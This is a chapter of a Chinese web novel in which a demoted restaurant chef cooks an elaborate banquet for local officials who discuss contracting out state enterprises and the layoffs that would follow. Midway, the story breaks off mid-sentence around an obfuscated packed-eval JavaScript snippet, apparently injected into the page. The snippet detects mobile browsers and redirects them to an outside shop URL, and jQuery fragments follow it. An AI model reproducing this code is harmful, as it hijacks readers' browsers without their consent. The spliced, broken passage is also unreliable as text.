第116章 承包制提前(上)

作品:《年代:国营饭店当总厨,退婚女友找上门

    “光是材料钱就花了五百八十块,这是收据,你麻溜看看,完了我还得记账呢!”


    采购一听左**要看收据,没好气说道。


    左**一张张收据看过去,只觉得这次自己是又栽了,还是没法子反驳的那种。


    人家之前一而再再而三问自己,是不是不计成本弄。


    真是装逼被雷劈啊。


    五百八十块,普通家庭小一年的收入啊!


    周一下午上班,黎军在二食堂后厨接着忙碌。


    晚上左**的订餐他已经忙活了一天,各种干货涨发已经就绪。


    几个大菜主菜需要雕刻盘饰装修一下。


    目前郑文杰的雕刻还上不得台面,所以只能他亲自上手,这也是左**要求的。


    内部员工点餐,这面子必须要给。


    天九翅的盘饰是瓜雕,因为当时是虎年,就雕刻了一只栩栩如生的带翅膀老虎,拖着一个南瓜雕成的战车摆件,寓意如虎添翼,虎虎生风。


    卢天明邀请的都是在位置的战友们,对这个寓意都相当的满足。


    煎虾饼用莴笋制作了跟盘子一样大小的渔网,跟鲜红的虾饼搭配,颜色相得益彰。


    糖醋大黄鱼改刀成飞燕状,两遍复油之后外酥里嫩,酸甜适口。


    燕菜卷制作相对麻烦,鸡茸加涨发好的燕菜搅打上劲,用骨刀刮成小鱼状,然后摆放在煨制好的蹄筋上蒸熟,色泽晶莹剔透,从视觉上就给人通透的清爽感。


    红扒熊掌色泽酱红油亮,搭配碧绿的菜胆围边,视觉冲击不要太强……


    每道凉菜都做了风格不一的摆盘雕刻,菜肴的品相可以说极尽奢华。


    包厢里,卢天明和一众战友看着一道道精美的菜品端上来,也顾不得相互恭维吹捧了,都拿起筷子大快朵颐起来。


    卢天明看得心满意足,小舅子今天可算是给足了面子,这一桌饭菜,在当时绝对算是天花板级别。


    “老卢,你妹夫这手艺没得说啊!”


    “就是,我以前在燕京也没吃过这么好的饭菜呢!”


    “这是个人才啊,应该能进国宾馆做菜了吧!”


    各种赞美恭维让卢天明老怀大慰。


    “这手艺要是承包国营饭店,经营起来绝对是绰绰有余了吧?”


    卢天明话音落地,对面的战友左右看了看。


    “是老万跟他说的吧?”


    坐在主位的万军强笑笑:“是我说的,上边的意思是让我们学习南方的经验,大力推动承包责任制,调动全民的生产积极性,大胆创新,勇于开拓……开放的大时代要来临了啊!”


    万军强就是卢天明说的战友,郭明义调走后,他从南方某县城平替过来做一把手。


    “只怕这样一来,有许多工人就要面临下岗了啊!”


    “其他的单位还好说,尤其是饮食公司这块,人员臃肿,一旦承包给个人,就必须面临裁员了。”


    “嗯,这个事必须认真对待,都是干了十几年的老员工了,承包裁员恐怕不容易呢!”


    “跟生孩子一样,这样的阵痛期不可避免,推动全民承包制,劳动合同改革是政策,难以接受也得接受。”


    一群人边吃边讨论啥工作,改革开放的春风深入内地后,全民承包制也被提上日程。


    伍一凡今天负责这个包间服务,站在门外断断续续听了一些消息,也没有听太仔细,但是大概也明白了些什么,就是国营饭店估计要变天了。


    不仅如此,整个饮食公司的天恐怕都要变了。


    卢天明的目的很简单,他在战友万军强的庇佑下,顺利从乡镇调回临县,请吃一顿饭表达谢意,同时拉拢一下另外几个有实权的战友。


    这种人脉必须认真经营,都是他以后向上巴结的对象。


    一顿饭热热闹闹接近尾声,万军强突然想起了什么似的看向卢天明。


    “那个……天明啊,这菜是你小舅子做的?”


    卢天明一本正经的胡说八道:“没错,他的手艺在临县……嗯不,整个安市恐怕都是数一数二的,你没看今天的菜品吗,还有这些雕刻,也都是他的强项。”


    长脸的事,吹就完了。


    “嗯,让服务员把他叫过来,人家辛苦了一天,怎么着也得口头表示下。”


    做厨子的大概都有同感,越是有身份和涵养的人,吃得满意大概都会对后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195507|195174||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    厨表示一下感谢。


    反而那些大老粗们,大多看不起厨子这一行,毕竟这就是一群走不到人前的后厨人。


    左**被请进来之后,那是相当的卑微,连腰甚至都是弯着的。


    “姐夫,你叫我?”


    卢天明笑笑:“**来了,这是我们万**,这位是扈主任……张部长。”


    左**听着姐夫的介绍,人都麻了,尤其是最后这位,居然是个……部长。


    张部长看左**一哆嗦,自己都给逗笑了:“呵呵,别紧张,我就是县武装部的部长,其实就是个小科长。”


    左**心里松了口气。


    “各位领导好,吃得还满意吗?”


    边说边拆开一包中华烟,给领导们递上。


    “很满意,手艺真不错,这些年我参加的宴会不少,还没吃过像你这样的手艺呢!”


    “嗯,左同志工作认真,是个专心的人。”


    “就是啊,光凭这些雕刻就能看出,工作态度是多么的认真。”


    “对的,工作没有高低贵贱之分,只有社会分工不同,我们都很看好你啊!”


    一顿夸把左**都吹到天上去了。


    “小左同志,在饮食公司几年了?”


    这话是一把手万军强问的,其实就是饭后闲聊一下。


    “十五年了,以前大锅饭时就在。”


    “哎吆,那时间可不短了?”


    张部长接话。


    “可不是嘛,以前他是国营饭店的行政总厨,今年被撸下去了。”


    卢天明的话成功引起了众人的注意。


    “哦……怎么回事?”


    酒足饭饱后,男人们也开始八卦起来。


    “犯了点无伤大雅的错误,被撸了呗!”


    其实具体情况卢天明不甚明白,但是战友问起,卖惨就完了。


    说到这里,万军强突然严肃看向他:“你是个老同志,我问你个闲话,要是现在要你下岗,就是让你直接卷铺盖回家去,你有什么想法?”


    “啊……!”


    卢天明吓尿,这怎么话说的,不是一直在表扬吗,怎么突然就让回去了,要拿自己小舅子开刀吗,这也太不给面了……